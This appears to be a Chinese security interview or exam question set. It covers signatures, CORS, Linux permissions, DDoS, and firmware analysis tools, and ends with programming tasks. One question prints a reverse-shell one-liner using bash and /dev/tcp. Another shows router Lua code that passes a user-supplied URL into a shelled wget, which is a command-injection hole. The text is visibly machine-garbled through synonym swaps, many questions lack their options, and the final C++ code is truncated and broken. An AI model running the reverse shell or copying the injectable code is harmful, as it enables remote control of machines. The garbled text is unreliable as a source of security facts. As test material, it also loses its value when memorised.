1、关于数字签名说法错误的是
- 确定消息确实是由发送方签名并发出来的
- 数字签名能确定消息的完整性
- 私钥用于签名,公钥用于验证
2、CORS的作用是?
3、下面关于AJAX说法正确的是?
错误的是:
- AJAX可以给差别域发送数据
- AJAX可以获取差别域的数据
- AJAX使用了同步技能
4、MD5是?
5、在linux中,将文件属性设置为所有者只读,别的无任何权限的下令为(假设文件名为myfile)
6、以下哪个方法不能实现对系统网络外连行为的监控
可以实验的方法:
- 使用hook技能替换c库函数connect
- 使用auitd监控connect系统调用
7、在linux文件系统权限中(rwx),只读权限对应的数值为
增补:
- 第一个符号代表文件的范例
- 如果是一个平凡文件为"-",
- 如果是一个目次为"d",
- 如果是一个软连接为"l"
- 如果是一个字符设备为"c"
- 如果是一个块文件为"b"
- 第一组体现文件所有者拥有的的权限
- "x"体现该文件拥有执行的权限
- "r"体现该文件拥有读取的权限
- "w"体现该文件拥有修改的权限
- “-” 体现暂时还没有其他权限
- 第二组体现该文件所在组的用户拥有的权限
- 第三组体现其他组的用户所拥有的权限
- "rwx"权限还可以使用数字来体现为:r=4,w=2,x=1,所以rwx=4+2+1=7
8、升级包
设备升级过程中使用了 curl https://ota.a.com/update.bin -k -o /tmp/update.bin 下令获取升级包,下列说法正确的是?
9、下面这段代码会造成什么问题?
- function upgradeRom() local XQFunction = require("xiaoqiang.common.XQFunction") local XQSysUtil = require("xiaoqiang.util.XQSysUtil") local url = LuciHttp.formvalue("url") url = url:gsub("'", "") if url XQFunction.forkExec(string.format("wget '%s'", url)) else XQFunction.forkExec("/usr/sbin/crontab_rom.sh") endend
复制代码
10、Linux的可执行文件开头的特征字符串是什么
11、下说法错误的是
- RSA和DSA的功能一样,只是差别的算法
- Hash是可逆的,Hash一般会导致信息熵减小
12、cookie的根本属性有哪些?
- Domain
- path
- httponly
- secure
- expires
13、下面有那些技能是在https应用到的?
14、使用下面那种方式可以产生跨域攻击?
- CORS
- windows.name
- windows.postMessage
15、以下哪些方式被认为是DDOS攻击
- ICMP Flood
- SYNFlood
- DNSQuery Flood
- UDPFlood
16、关于SYNFlood攻击,以下说法正确的是
- 此种方式不需要创建完整的TCP三次握手
- 此种攻击方式是客户端主动发起的SYN半连接引起的
17、关于这条下令,说法正确的是
- bash -i >& /dev/tcp/192.168.1.2/8080 0>&1
复制代码
- 通过在192.168.1.2上监听8080,可以远程操纵运行了此下令的呆板
- 这是一个反弹shell
18、下面哪些下令和工具对 firmware 分析有资助?
- binwalk
- file
- firmware-mod-kit
19、哪些是常用的逆向分析工具
20、以下哪些属于缓冲区溢出保护机制?
21、编程题
我们的小齐同学是一名很辛苦的实习DBA,他天天的工作就是为一个帐号添加授权,本日给这200个ipv4添加授权,来日诰日又要把这200个授权删掉,有一天小齐同学在删除授权的时候不小心把所有的授权都删了,被向导很批了一顿。痛定思痛,小齐同学开始反思他天天的工作,发现无非就是我天天要让那些ip访问数据库而已,他决定写一个效率很高的ip白名单,请帮小齐同学说一下实现思路,并用布局化编程语言(c/c++/python/golang/java等)写一个ip白名单吧,他需要这个白名单有添加ip的功能,删除ip的功能,查找这个ip在不在白名单中,以及打印白名单中的内容,以上四个功能中查找ip是否在白名单中效率一定要高。并帮小齐分析一下各个功能的时间复杂度,写的好小齐同学会请你用饭哦
- import java.util.HashSet;import java.util.Scanner; public class Main { public static void main(String[] args) { Scanner scanner = new Scanner(System.in); HashSet set = new HashSet(); while (!scanner.hasNext("end")) { String command = scanner.next(); char c = command.charAt(0); String ip = command.substring(2); switch (c) { case 'i': set.add(ip); System.out.println("ok"); break; case 'd': set.remove(ip); System.out.println("ok"); break; case 's': System.out.println(set.contains(ip)); break; } } }}
复制代码
有N个比赛队(1n>>m){ vector Edge[n+1]; int inDegree[n+1]; memset(inDegree,0,sizeof(inDegree)); for(int i=0;i>a>>b; Edge[a].push_back(b); inDegree++; } priority_queue Q; for(int i=1;i |